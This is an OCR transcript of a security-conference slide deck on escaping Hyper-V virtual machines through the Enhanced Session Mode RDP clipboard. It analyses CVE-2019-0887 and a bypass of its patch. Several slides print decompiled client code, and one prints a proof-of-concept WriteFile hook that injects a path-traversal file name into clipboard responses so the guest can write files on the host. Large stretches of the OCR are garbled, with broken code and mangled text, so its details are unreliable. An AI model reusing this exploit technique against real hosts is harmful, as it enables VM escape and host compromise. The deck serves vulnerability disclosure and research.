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* Security Engineer at |,:,| difod=

* Escape from VMware Workstation at TianfuCup 2018/2021.
* Escape from ESXI by CVE-2018-6981 Privately

* Escape from Hyper-V by Path Traversal

* Found Bugs on Windows RDP Server, DNS, Hyper-V, VMware
ESXi/Workstation, QEMU, KVM, Parallels Desktop '

* @w4r4172261 w.ttw@outlook.comy ‘\}-- 2
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* VM Types and Hyper-V Architecture
* Attack Surfaces on Hyper-V

* Enhanced Session Mode

* RDP protocol

* 3 Cases of Escaping

* Conclusion and Q&A



* Example: * Example:
* VMware Workstation * ESXi(?)
* QEMU/KVM * Hyper-V
* VirtualBox * Xen

Hosted Virtualization Hypervisor Virtualization

Hypervisor(VMM)

Hardware
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.
Hyper-V High Level Architecture

Root Partition Enlightened Enlightened Unenlightened
Windows Linux Child Partition

VMWPs Child Partition Child Partition

VMMS  wMI User Applications User Applications User Applications

l

Linux

VSCs/ICs VSCs/ICs

m WinHy

WinHv LinuxHv

Hypervisor Hypercalls ¢ Scheduler Address Management Partition Manager

l l

Processors

https://docs.microsoft.com/en-us/virtualization/hyper-v-on —WindoWs/r,eference/hybér—v—arch"itectUre
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> Hyper \/Attack surfaces

* Virtual Devices
Net, Storage, PCl, Display:-

* Hypervisor

Hypercall, APIC, MSR registers, Nested Virtualization, Other privileged
Instructions:

* VMBus
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> Hyperwsor Attack surfaces

Child Partition

User Land
Instructions

Kernel
Instructions

Hypervisor

Exit Reason

vmcall Hypercall

VIO Mested Virtualization
WITNSK MSRs
APIC about APIC

vmwrite VMCS

Root Partition

Kerne
Instructions




Child Partition

vmeall HVCALL_POST_ME

Root Partition
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> \/wtué\ Dewces Architecture Example: Net

_ . . ROOT Partition
Guest Partition

VIMBus interface




Child Partition Root Partition

as RDP Server as RDP Client

rdpcli p.exe vmconnect.exe

socket

vmbu 5.5Y5 vmbusr. Y5

Thanks @rthhh17, he shared me major information to confirm this.
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»—Enhanced Session Mode: socket

Vimwp.exe

Unknown
Tnknown

owr I:[‘i-.TI:II'lj ptr [I':E:]_:|+El ] .rh=

nop dword ptzr
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TCP Connections N\
Image Local ... ~Remo... . 27\
vmconnect exe 2e4: 80:... 50290 .
TCP connection in resource monitor vmms. exe 2 . 2179 e
\
\ .
\ e .k-
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Pa Enhanced Session Mode Features

LS

£ Audio Settings & Connect to Mew Virtual Machine

* Share Clipboard

Femote audio playback Displayy | Local Resources

© Play on this computer

* Play Guest Audiojil® st

() Play on remote computer

Remote audio

F 1 Configure remote audio settings.

[

 Share Printers

Remete audio recording Local devices and resources

o () Record from this computer : and resources that you want to use in

* Display X 0 Dot

Clipboard

Mare...

Cancel

= | Hide Options Connect

-
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| earned a lot,
what's next?
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P Hyper v Research Difficulty

* Child Partition can call few hypercalls
* No source codes, no symbols of hypervisor
* Hyperseed, MS fuzzing tool with source code

* Emulated Devices are not rich. (No USB, no 3D, no Audio, no
alternative Net/Storage devices)

-

* Strictly input check, Hard to occupy heap and spray heap in Host, ~ .
Hard to leak information in Host - i —
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* More possibilities to exploit
* Complex enough

* Debug Symbols

* Fewer researchers discussed
* Exist CVEs

* Default setting




Défault setting for client scenario

* Recently Microsoft discloses several RDP
client's vulnerabillities

* RDP is complex
* | found several RDP bugs in Server Side
* Fewer Researchers mentioned it before

* More possibilities to exploit

* Client codes are usually worse than
server side




Let's learn RDP firstly
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>—RDP-Protocol

* Protocol
Relationship
Diagram

[MS-RDPEUDP2]

[MS-RDPEUDP] [MS-RDPEGDI | [MS-RDPELE]

Extends Extends Extends Extends

[MS-RDPBCGR]

Extends

[MS-RDPNSC]

[MS-TSGU]

Static Virtual
Channel
Protocols

[MS-RDPEMC)

[MS-RDPEDYC]

Tunnels

Basic Device
Redirection

[MS-RDPEXPS]

[MS-RD PEPNP]

[MS-RDPEAI]

[MS-RDPEV]

[MS-RDPEUSE]

[MS-RD PEGFX]

[MS-RDPEI]




Audio
subsystem

Terminal Server Gateway, TSGU
Remote Desktop Protocol, RDPBCGR

. Input from RDP client, RDPBCGR
Graphics from TS server, RDPBCGR, RDPEGDI
-- Operational messages, RDPBCGR
or ._ Static virtual channel 1 (example, Clipboard, RDPECLIP)
.- Static virtual channel 2 {(example, File System, RDPEFS

-_ and Print, RDPEPC)
Static virtual channel 3 (example, Audio, RDPEA)

Input devices
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"I\/I"-‘Sf‘RDPECUP Clipboard Virtual Channel

Shared Local

Client Server Clipboard Clipboard

-l ——  Server Clipboard Capabilities PDU

E‘d—Monitor Ready PDU

S—Client Clipboard Capabilities PL)U—p:

-Temporary Directory PDU—P-E

Format List F'DU—bui

E"‘—FOI'mat List Response PD u—é

Owner Owner

Format List PDU——p»! *w

i >- Copy Sequence
FFormat List Response PDU

ELocK Clipboard Data PDU (Dptionall—i

‘@——Format Date Request PDU—— ‘] Paste Sequence
i i for Generic,
Palette, Metafile,

Format Data Response PDU——wi _f and File List Data

i4—File Contents Request PDU—— _H)
: 5 \_ Paste Sequence
¢/~ forFile Stream Data

L File Contents Response PDU——p

§~<—Unlock Clipboard Data PDU (Optional)—f
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4.5.2 Format List Response PDU

The following

Is an annotated dump of a For
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4.5.4 Format Data Response PDU

The following is an annotated dump of a Format Data Response PDU (section 2.2.5.1) s
to the File List format request in section 4.5.2.
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mstscax! CTSCoreEventSource::FireASyncNotification
mstscax!CClipRdrPduDispatcher::DispatchPdumstscax
mstscax! CClientRdrVirtualChannel::OnVirtualChannelPdu

»187 1if ( (unsigned int).size <= bufferResult->max size 400h_68h )

108 {
' 189 memSEt_@(buFFEPRESUlt—}_, 8, bufferResult->max_size 480h 68h);
1118 if ( coming buff )

b 111 memcpy_Ei(buffer‘HEE.ult—}_, coming buff, .size);
U e bufferResult->coming _info size 58h = .size;

1113 v16 = 0;

) 114 *a4d = (struct CTSBufferResult *)bufferResult;

+115 return v16;

0002830E| ?Createlnstance @CTSBufferResult @@SAIPEAV? $CTSObjectPool BVCTSBufferResult @ @@ EKPEAXPEAPEAY L@@Z: 109 (10002890E) |
- ! iy . N

Part of mstscax!CTSBufferResult::Createlnstance \ |\ AR
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Client: Receive Msg

mstscax!CTSThread::AddCallback

mstscax!CTSCoreEventSource::FireASyncNotification

buffer at +60h of bufferResult

size at +58h of bufferResult

v8 = CTSCoreEventSource::InternalFirelAsyncNotification( memset @(buffer‘Result—)_ 0, Y
CT5CoreEventSource, if ( coming_buff )
8i64, memcpy O(bufferResult- >_ \
Vo, = bufferResult->coming _info_size 58h :
(struct ITSAsyncResult *)((bufferResu®T + 0x50) § /.
. . . . /
Part of mstscax!CTSCorekventSource::FireASyncNotification -(
»
\,\
=5 b
i 5 \ /s
\. \ \‘ /
N / \)_‘ \*__ - 4
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eceive Msg

mstscax!CTSCoreEventSource::InternalFireAsyncNotification

mstscax!CTSCoreEventSource::FireASyncNotification

buffer at +10h of f 78h
size at +08h of f 78h

-

J
334 w51 = (struct ITSAsyncResult *)CTSMsg->f 78h;
335 if ( a3 = v51 )

viB

CTSCoreEventSource: :InternalFireAsyncNotification(

CTSCorekventSource,

0164,
vb,

(struct ITSAsyncResult *)((bufferResult + 8x50) {

336 {

337 if ( w51 )

338 {

339 CTSMsg->f _78h = @i64;

340 v53 = *(_QWORD *)(*(_QWORD *)v51 + 16i64);
341 _guard_xfg dispatch_icall fptr{v51);

342 }

343 CTSMsg->f _78h = a3; € J

344 if (a3 )

Part of mstscax!CTSThread::AddCallback
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..:Q-iéﬁ‘t: Receive Msg

mstscax! CClipBase::OnFormatDataResponse

mstscax!CClipBase::OnFormatDataResponseAsyncCallback::Invoke

mstscax! CTSThread::RunAllQueuekvents+0x34a
mstscax!CTSThread::internalMsgPump+0xb4

29
36
31
32
33
34
ed
65

if ( CTSMsg->f _78h )
{
f 78h = CTSMsg->t_78h;
ve = *( QWORD *)(*( QWORD *)f 78h + 8164);
_guard_xfg dispatch _icall fptr(CTSMsg->f 78h);
¥
v1l2

vl3

*(_QWORD *)(*(_QWORD *)v3 + 24i64);

Part of mstscax!CTSMsg::Invoke

_guard xfg dispatch icall fptr(v3,f_78h, CTSMsg->qword88);// Invocke class

| S
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--?;Cl’ié nt; CCIlpBase ‘OnFormatDataResponse

73 wv12 = guard xfg dispatch_icall fptr(a2, &recv_size, &buffer);// -
74 [/ *a2 = *((_DWORD *)this + 2); size at +08h of f_78h
75 | _ /1 *a3 = (void *)*((_QWORD *)this + 2); buffer at +10h of f_78h

148 buff start = (unsigned  int& *)(buffer + 8);
141 w9 = this->f 30h.dword118;

142 give size = *(_DWORD *)(buffer + 4);
143 format = this->f 38h.request format 114h;
144}
158 if (v24 & 1)
159 { ; ’
1668 vl2 = CFormatDataPacker: _{ ,
161 *(CFormatDataPacker **)&this->f 38h.gapl28[272 v 3 -4\
162 &a2a, v 7 \
163 format, \ S ‘ N
164 buff start, \> RIS A
165 give size); i Xy, “The. v /"'

| ‘-\\ \.‘ '/-" -//

' ¢ s Ul AN

= N = N N



L et's learn cases

pefore digging



S OCVEL2019-0887

else

. No check for FileGroupDescriptorW/FileGroupDescriptorA

v17 = GlobalAlloc(2u, dwBytes);
*a2 = vi17;
if ( v17 )
{
v1l8 = Globallock(v17};
if ( 1vig )
goto LﬂBEL_42
| if ( WPP_GLOBAL_ Control != 8&WPP_GLOBAL Control

|
& ( (( BYTE *)WPP GLOBAL Control + 28) & 1) != @
&% *((_BYTE *)WPP_GLOBAL Control + 25) »= 5u )

i
v19 = RdpWppGetCurrentThreadActivityIdPrefix();

*((_QWORD *)WPP_GLOBAL Control + 2),
34i64,
&WPP_dd7c6847e9ce3ct7d6bs53508ddbbaabb Traceguids,
vil9,
dwBytes,
v18);

¥

mem B(v18, a4, dwBytes);

if ( 'GlobalUnlock(*aE) )

Part of CFormatDataPacker::DecodeFormatData

if ( a3 == CClipFormatTypes::FileNameW(this) || a3 == CClipFormatTypes::FileNameA{v16) )

VM:rdpclip.exe Host:vmconnect.exe

Shared Local
Clipboard Clipboard
Owner Owner

Format List PDU————pw! *w
FFormat List Response PDU
~a—Lock Clipboard Data PDU (Optional)—
«———Format Data Request PDU

Format Data Response PDU

éd—File Contents Reguest PDU—i _‘]

\
7~ forFile Stream Data

L File Contents Response PDU—»E J

E‘—Unlock Clipboard Data PDU (Optional)—f

>>-CopySequence

Paste Sequence
for Generic,

Palette, Metafile,
and File List Data

Paste Sequence
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C\/E 2019-0887 patch

vl7 = CClipFormatTypes::FileDescriptorA(vil6);
v19 (unsigned int)a5;
if ( a3 == v17 || a3 == CClipFormatTypes::FileDescriptorW(vi8) )
i
v20 CClipFormatTypes::FileDescriptorW(v1g);
v1e :F:r"5t35t535:<er::¥5li:5teF:_’——+'f(v21 ad, v19, a3 == v20, &v32);
if (vie < @ )
1

if ( WPP_GLOBAL Control != &WPP_GLOBAL Control

[w]

Part of CFormatDataPacker::DecodeFormatData PathCchCanonicalize: Converts a path string into a
canonical form.

Original string Canonicalized string

Chname_T\\name_2\.\name_3 Chname_Thyname_3

- Chname_T\.\name_2\\name_3 Cihname_2Yname_3
v24 = (const WCHAR *)(v23 + 72);
vl = PatthhCanDnicaliZE{V3?, 8x184uibd, V24); Chname_Tyname_2\\name 3\ \name 4 Chname_1Thyname_2Z\name_4

if ( (v9 & ©x80000000) != 0 )

Part of CFormatDataPacker::ValidateFilePaths

Chname_TWname_ 2V \name_3\\name_d4,. Chname_Tyname_2




Flvoid main(void) {

WCHAR* pl = L7C:\\t

. WCHAR o1[0x200];
' WCHAR o2[0x200]:

PathCchCanonicalize |
PathCchCanonicalize
wprintf (L ol :%s\no2:

ol:C:htmphb
02:Ci\tmpha/.. /b1l

WCHAR* p? = L7C:\\tm

-1i64 )

*)(v18 + 2 * §);
/)

20 );

icalize(v41, 260i64, v42);
poee) != 8 )
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A story of my finding



ReadFile
WriteFile

Child Partition

as RDP Server

rdpclip.exe

vmbus.sys

RDP prot

Root Partition

as RDP Client

vmcennect.exe

socket

vmbusr.sys AN
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> Try Reproduce CVE-2019-0887 on Winll

16 WCHAR efile[] = { L™ A\ AN WA AN AN AN A \users\ vy \evil.txt” };

112 BOOL

113 WINAPI

114 myWriteFile(

115 _In_ HANDLE hFile,

116 _In_reads_bytes_opt_ (nNumberOfBytesToWrite) LPCVOID lpBuffer,

117 _In_ DWORD nNumberOfBytesToWrite,

118 _Out_opt_ LPDWORD lpNumberOfBytesWritten,

119 _Inout_opt_ LPOVERLAPPED lpOverlapped

120 ) {

121 BOOL ret;

122 char cmp[8] = { exe3, €@, 01 };//Format List Response DBq

123 char cmp2[8] = { exe5, ee, 1, ee, ex54, e2, ee, 06 };//Format Data Request Response PDU
124 (1lpBuffer) {

125 (memcmp (1lpBuffer, cmp, 8) == 8) {

126 Log("replace clipboard\n");

127 HANDLE hdl = CreateThread(NULL, ©, patch_clipboard, NULL, ©, NULL);

128 }

129 (memcmp(1lpBuffer, cmp2, 8) == © && nNumberOfBytesTolWrite > (efile) + ©x54) {
130 Log("patch path\n");

131 memcpy ( (char*)1lpBuffer + 8 + Ox4c, efile, (efile));

132 }

133 }

134 ret = realWriteFile(hFile, 1lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); ~
135 ret;

= b oy o 'l



_____ 1

i CClipFormatTypes::
139 v19 = (unsigned int)a5;
148 if ( a3 == v17 || a3 == CClipForma
141 {
142 v2@ = CClipFormatTypes::FileDes
3 vl CFormatDataPacker: :Val
if ( vie < @ )

WPP GLOBAL
a0 00 00 00
an -
. 00 fe he fh 7f
an 0o
an oo 01

00 £b 3bE Jhds ; o i
00 00 00 00—f: 0 3b fb 7f _ 7£fh" 3bE 1 488d44246 cax, [rep+60h]
-1 C
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»—Example of RDP streaming

Format List

——

VM: rdpclip.exe Host: vmconnect.exe

Shared Local
Clipboard Clipboard
Owner Owner

Format List PDU——pui 7\

; i > Copy Sequence
‘4———Format List Response PDU—— J

i
a—Lock Clipboard Data PDU (Optional)—

-«———Format Data Request PDU ] Paste Sequence

for Generic,
Palette, Metafile,
Format Data Response PDU——wi ) andFile List Data

i«¢—File Contents Request PDU——— _‘W
5 \_ Paste Sequence

! (" forFile Stream Data
File Contents Response PDLJ—bwE _)

an—l.lnlock Clipboard Data PDU (Optionalj—f
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So, client uses format ID from server, but It
doesn’t exist on client machine?

'S




if ( (unsigned int)CFormatlListCache::IsCached(
(CFDPmatLlStCEChE *][CCllpEase + Bx2E8),
(unsigned  int8 *)(tagTS_CLIP PDU + 8),

*(_DWORD *)(tagTS_CLIP PDU + 4)) )

Host

S T=Ta ]

VIMCOnneCl.exe

1at List PDU v = CClipBase::CreateDataObjectFromFormatList(
(CClipBase *)CClipBase,
unsigned int8 *)(tagTS _CLIP PDU + 8
Format List Response PDU Eize E — ) (tagTs_ - )
- -
&pDatanj]J

ock Clipboard Data PDU(optional) CFormatlListCache: :Update
* [CFGPmatLlstCache *j[CCllpEase + Bx2E8),
(unsigned  int8 *)(tagTS _CLIP PDU + 8),
Format Data Request PDU *(unsigned int *)(tagTS_CLIP PDU + 4));
- -
Format Data Response PDU 0 CClipBase::OnFormatList | N
1 CClipClient::OnFormatList N o NG
2 CClipClient:OnFormatListAsyncGallback:Invoke . ™,
. \ o \ '."



Host

VIMmConneCl.exea

Format List PDU

Format List Response PDU

el —— e

Lock Clipboard Data PDU(optional)

Format Data Response PDU

_— -
|
|

v9 = CFormatIdMap: :LookupRemoteld(&vB->cformatidmap98, v6, &v60);
v31l = vbB;
it ( v59 )
{

vbl = vb@;

vbBd = w55;

memcpy @((void *)(v63 + 8), &v60@, v25);
¥
else
1

*(_DWORD *)(v63 + 8) = v68;

v8->dwordll® = v70;

v8-r>request format 114h = v31;
} I

CClipBase::SendFormatDataRequest /
5
. 3 \



Host

ot o

VIMCoOnmnmedC

buff start = (unsigned _ int8 *)(buffer + 8);

= this->f 38h.dwordl10;

give size = *( DWORD *)(buffer + 4);
format = this->f 36h.request format 114h;

if ((v24 & 1)

*(CFDPmatDataPackEP **¥)&this->f 36h.gapl120[272
&ala,

format,

buff start,

give_size);

vl7 = C@lipFormatTypes::FileDescriptorA{vl6);
v19 = funsigned int)a5;

if ( a3 == v17 || a3 == CClipFormatTypes::FileDescriptorh(vl /

{
v20 = CClipFormatTypes::FileDescriptorW(vi18); \
v1® = CFormatDataPacker::ValidateFilePaths{v21, a4, v19, a~\
if ( vie < 8 )
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>—Why'could this happen?
’ g \' . I‘ !
~ |
vi2 = *(_QworD *) (Il + 128); Before “hite (1)
*(_pworD *) (] + 240) = e; _
while ( 1 ) « Patch if (1vi2)
{ if ( 1vi2 ) origin v6 = -2147023727;
{ cve-2019-0887 goto LABEL 31;
v6 = -2147023727; ¥
gsoto LABEL_ 31; if ( w4 == *(_DWORD *)v12 )
} break;
if ( a2 == *(_DWORD *)v12 ) vl2 = *(_QWORD *)(v12 + 8);
break; ¥
v12 = *(_QWORD *)(v12 + 8); v13 = *(_DWORD *)(v12 + 4);
k B ve = 8;
ve = 8; __%1:
*(_pworD *) (] + 240) = *(_DWORD *)(vi2 + 4); ;f (ve >=0)
*( _DWORD *)(v23 + 8) = v13; // remote format ID
After—y*{_MRD *)(v5 + 240) = vd_; /{ local format ID
‘ . ‘_\ \\ 3 . o
N \
. : 4 : .‘ S \\ ‘j" _/'."'. i \
They have made mistakes at the beginning!!! 7" X V.l D 4 ) W
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<C\/E 2019 0887* (name it StupidFetch)

* MSRC said that RDP related bugs don’t fetch Hyper-V Bounty Program
UNBELIEVABLE !'!!




s—Timeline

* 14/07/2021 report to MSRC
e 27/07/2021 confirmed by MSRC
* 29/07/2021 Award $5000 as important RCE under Windows Bounty Program

start arguing--

* 08/11/2021 MSRC updated Hyper-V bounty page, declare RDP Is out of
scope

keep arguing -
* 14/12/2021 MSRC silently release patch for windows 11/ Server 2022  ‘>
* 30/12/2021 MSRC told me they released patch in December patch N7
* 17/01/2022 Last email about bounty argument with I\/ISRC nothmg Changed

/

\
\
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File  Action

Recycle Bin

2}
Microsoft
Edge
V Manager
SKTOP-801A12F Virtual Machines

Name

B New Vitual Machi

Summary Memory

DESKTOP-891A12F: 1 virtual machine selected. Stafts Running

> ThisPC > Downloads

Documents
& Downloads
New Text Document
Music

P9 Pictures

Media

n

View

v Virtual Machine on DESKTOP-891A12F - Virtual Machine Connection

View

E¥ Windows PowerShell

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights r
eserved.

Try the new cross-platform PowerShell https://aka
.ms/pscore6

PS C:\Users\vv> cd .\Desktop\
PS C:\Users\vv\Desktop> .\hackit.exe,

814PM
Om@s® 80 oo

814 PM

9/23/:

A @@ D
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s Conclusion

* Path Traversal always surprises us

* Try old bugs on Windows newest system ©

* Enhanced Session Mode Is a good attack surface
* Always be careful of VM, even Hyper-V

* MSRC have the final explanation right
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